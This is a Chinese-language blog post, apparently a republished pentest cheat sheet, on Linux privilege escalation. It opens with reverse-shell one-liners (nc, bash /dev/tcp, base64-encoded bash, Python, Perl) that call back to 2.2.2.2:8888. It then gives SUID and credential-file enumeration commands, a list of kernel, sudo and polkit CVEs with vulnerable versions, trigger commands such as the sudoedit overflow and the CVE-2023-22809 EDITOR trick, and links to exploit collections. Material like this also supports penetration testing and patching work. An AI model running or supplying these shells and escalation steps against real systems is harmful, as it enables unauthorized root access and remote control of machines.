linux提权
2023-3-15 15:24:36 Author: 珂技知识分享(查看原文) 阅读量:14 收藏

一、    前言

linux提权要比windows提权困难很多,其原因是因为linux有不同的发行版,内核跨度也比较大,很难找到通杀的exp。而且默认配置下,不存储明文密码,不依赖hash,通常只有ssh一个远程手段,第三方服务均使用自己独立的低权限账户。这些都使得linux并不那么容易被提权。

反弹shell

nc -t -e /bin/sh 2.2.2.2 8888rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 2.2.2.2 8888 >/tmp/fbash -i >& /dev/tcp/2.2.2.2/8888 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yLjIuMi4yLzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("2.2.2.2",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'perl -e 'use Socket;$i="2.2.2.2";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'python -c 'import pty; pty.spawn("/bin/bash")'

SUID

find / -user root -perm -4000 -print 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null

信息收集

uname -acat /etc/*-releaseps auxnetstat -anosudo -lcat /etc/passwdcat /etc/groupcat /etc/cron*ls /dev/shm/cat /var/spool/cron/*cat /etc/anacrontabcat /var/spool/anacron/*echo $PATH

比较新的提权辅助脚本

https://github.com/The-Z-Labs/linux-exploit-suggester
https://github.com/diego-treitos/linux-smart-enumeration

二、    exp溢出提权

linux历史上存在相当多的内核溢出类提权,但它们大部分情况下并不通杀,而是根据Linux kernel版本去针对性使用。
通常情况下需要在对方服务器上用gcc编译并执行,有的时候对方没有gcc,就需要本地搭建相同的环境编译。即使有gcc,直接编译也可能出错,此时需要看README.md看是否需要加什么参数,或者是环境变量问题,比如经典的cc1报错。

find /usr/lib/gcc -name "*cc1"export PATH=/usr/lib/gcc/x86_64-linux-gnu/7/:$PATH

以及很多溢出漏洞并不稳定,需要条件竞争或者看运气,或者需要针对不同的内核修改内存地址/参数,这使得linux的溢出提权门槛较高。
以下是我用过或者有成熟exp或者比较热门的漏洞,但并非所有都是内核溢出,也有本质上是SUID,或者配置错误,或者第三方。具体exp的下载地址,可以在github上搜索,也可以在最后的一些合集上找到。

CVE-2016-4557
DC-3的exp,仅ubuntu上复现,Linux kernel < 4.5.5

CVE-2016-5195(Dirty Cow)
脏牛,非常通杀和稳定,Linux kernel低版本永远的优先选择。安全版本如下。
Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6     2.6.32-642.6.2.el6
Ubuntu 16.10      4.8.0-26.28
Ubuntu 16.04      4.4.0-45.66
Ubuntu 14.04      3.13.0-100.147
Debian 8          3.16.36-1+deb8u2
Debian 7          3.2.82-1

CVE-2017-1000367(sudo)
sudo提权,1.8.6p7-1.8.20

CVE-2017-1000405(HugeDirty Cow)
大脏牛,脏牛的绕过,2.6.38 <= Linux kernel <= 4.14,需开启THP
/sys/kernel/mm/transparent_hugepage/enabled

CVE-2017-5618(screen)
DC-5的exp,screen 4.5.0的SUID提权,本质是个命令注入。
linux/local/41154.sh

CVE-2017-7494(Samba)
Samba远程RCE,exploit/linux/samba/is_known_pipename,3.5.0-4.6.4/4.5.10/4.4.14

CVE-2018-18955
4.15.x < Linux kernel < 4.19.2

CVE-2019-10149(exim4)
DC-8的exp,exim4的SUID提权,exim 4.87-4.91
exim4 –version

CVE-2019-13272(freedesktop)
鸡肋,需要freedesktop,Linux kernel < 5.1.17

CVE-2019-14287(sudo)
sudo,鸡肋,需要错误配置。< 1.8.28
sudo -u#-1 id
sudo -u#4294967295 id

CVE-2019-15666(xfrm_policy)
条件竞争比较看运气,Linux kernel < v5.0.19
while :; do ./lucky0 -q && break; done

CVE-2021-3156(sudo)
sudo,较为通杀,1.8.2-1.8.31sp12,1.9.0-1.9.5sp1
sudoedit -s /
sudoedit -s '\' `perl -e 'print "A" x 65536'`
./sudo-hax-me-a-sandwich ubuntu

CVE-2021-3560(polkit)
polkit提权,鸡肋,仅0.113版本,且只有极少量发行版引入。

CVE-2021-4034(pwnkit)
polkit/pkexec提权,非常通杀和稳定,Linux kernel版本过高后永远的优先选择
rpm -qa polkit
pkexec –version

安全版本如下
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu 20.04 LTS:policykit-1 - 0.105-26ubuntu1.2
Ubuntu 18.04 LTS:policykit-1 - 0.105-20ubuntu0.18.04.6
Ubuntu 16.04 ESM:policykit-1 - 0.105-14.1ubuntu0.5+esm1
Ubuntu 14.04 ESM:policykit-1 - 0.105-4ubuntu3.14.04.6+esm1

CVE-2021-22555(堆溢出)
安全版本,Linux Kernel 5.12, 5.10.31, 5.4.113, 4.19.188, 4.14.231, 4.9.267, 4.4.267

CVE-2022-2588(route4 double free)
较为实用,exp可以用已经编译好的版本,可能导致重启,Linux kernel < 5.19

CVE-2022-0847(Dirty Pipe)
较为实用,5.8 <= Linux kernel < 5.16.11/5.15.25/5.10.102

CVE-2022-0995(堆溢出)
堆布局复杂且看运气,5.8 <= Linux Kernel <= 5.16.14

CVE-2022-23222(ebpf)
5.8 <= Linux Kernel <= 5.16(安全版本5.10.92/5.15.15/5.16.1)

其他exp合集。
单纯把github上的exp搬运并合在一起而已,胜在量大。
https://github.com/Al1ex/LinuxEelvation
较新且较实用的exp,而且每个漏洞都有评测和分析文章。
https://github.com/bsauce/kernel-exploit-factory
exploit-db 和kali,一些旧漏洞比较容易找到。
https://www.exploit-db.com
searchsploit linux

三、    第三方服务提权

本质上是我们拥有第三方服务的账户/权限,而第三方服务是用root权限运行的,我们能够使用第三方服务达到命令执行的目的。
和windows一样,mysql/redis/pgsql这种数据库很容易通过配置文件拿到权限。
和windows又不一样,这种第三方服务在linux中几乎都以低权限账户运行,很多时候你是拿到第三方服务的权限需要提权,而不是反过来用第三方服务提权。
这个时候可以用ps aux查看哪些服务是root权限启动,且没有低权限账户启动子进程。
通常来说,一些旧服务器的redis/rsync/nfs可能是root权限,springboot项目很多都是root权限启动,以及一些参与服务器维护的web项目几乎必定是root,比如zstack/宝塔。这些都有获取权限的机会。
https://xz.aliyun.com/t/6544

四、    SUID提权

讲烂了没什么好讲的,大家搜一下就明白了。SUID提权和sudo -l提权经常出现在靶场里面,但实战中极难遇到。
这两种其实和第三方服务提权非常类似,只不过它是直接明牌给你第三方服务的控制权限,你只要在其中寻找出命令执行的方式罢了,甚至有些命令执行的方式就是溢出。
当然,严格意义上来这类应该属于配置错误,错误的给了一些不该给的程序SUID。

这篇文章详细的给出了所有常见的SUID的使用。
https://tttang.com/archive/1793/
这个网站几乎将所有可以任意读写文件/命令执行的程序都列了出来。
https://gtfobins.github.io/
最新的sudoedit的SUID提权CVE-2023-22809

EDITOR='vim -- /etc/passwd' sudoedit /etc/custom/service.conf

五、    错误配置提权

最常见的就是任务计划,root用户的任务计划脚本文件,但可以被低权限用户编辑。在有多名用户参与维护的较复杂环境,还是有可能产生这种低级错误。

cat /etc/cron*cat /var/spool/cron/*cat /etc/anacrontabcat /var/spool/anacron/*


以及各种你能想到但碰不到的低级错误,以及各种密码碰撞,就不展开讲了。
给个自己写的利用su去撞本地用户,在没有ssh的时候可能用的上。
https://github.com/kezibei/su_user


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486236&idx=1&sn=ccd5908af829474d5ef5181471241a4b&chksm=fa973673cde0bf6510bda97779261fdcbe5835c15df7a79bd80d67fc36de3dfaedb9b7e7c805#rd
如有侵权请联系:admin#unsafe.sh